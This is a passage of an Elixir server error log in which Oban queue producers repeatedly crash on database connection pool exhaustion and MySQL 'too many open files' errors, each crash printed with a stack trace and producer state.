State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:44:52.238737Z], limit: 20, uuid: "8e27e8d9-643a-4f9d-97de-c88b3348ea3a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:44:52.238744Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.52405>, refresh_timer: #Reference<0.2525715032.1121189889.218958>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:45:04.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1023ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:44:52.240174Z], limit: 3, uuid: "13659e0a-4616-499e-a197-5e830bae842a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:44:52.240178Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.52409>, refresh_timer: #Reference<0.2525715032.1121189889.218990>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:45:04.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 896ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:44:52.239570Z], limit: 5, uuid: "da1d46f7-650f-4a2d-b075-5fb2acca1201", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:44:52.239578Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.52407>, refresh_timer: #Reference<0.2525715032.1121189889.218983>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:45:04.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 854ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:44:52.240695Z], limit: 10, uuid: "03cf1342-4252-4656-a571-0655adf8eb6f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:44:52.240701Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.52404>, refresh_timer: #Reference<0.2525715032.1068498948.75684>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:45:06.339000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:45:08.280000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:45:09.128000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:45:10.373000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:45:12.287000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:45:16.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1029ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:45:04.240451Z], limit: 10, uuid: "28692db6-701a-4404-a7bc-e87cb9e76da0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:45:04.240459Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.52734>, refresh_timer: #Reference<0.2525715032.1099431938.67793>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:45:16.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 858ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:45:04.239265Z], limit: 50, uuid: "4a3b380d-409a-40ae-b9af-82767799d442", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:45:04.239272Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.52729>, refresh_timer: #Reference<0.2525715032.1077673987.52700>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:45:16.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1065ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:45:04.239715Z], limit: 5, uuid: "85fac55c-f4e6-444f-ab18-58b9eb91ecba", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:45:04.239722Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.52733>, refresh_timer: #Reference<0.2525715032.1121189889.219158>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:45:16.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1037ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:45:04.239996Z], limit: 3, uuid: "8e70eecb-a0fa-49a3-bf74-5a3d9811c820", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:45:04.240002Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.52730>, refresh_timer: #Reference<0.2525715032.1077673987.52712>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:45:16.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1015ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:45:04.239563Z], limit: 20, uuid: "213bca7a-0925-4faf-b1b3-4f267d40bc3d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:45:04.239569Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.52732>, refresh_timer: #Reference<0.2525715032.1121189889.219152>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:45:16.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1070ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
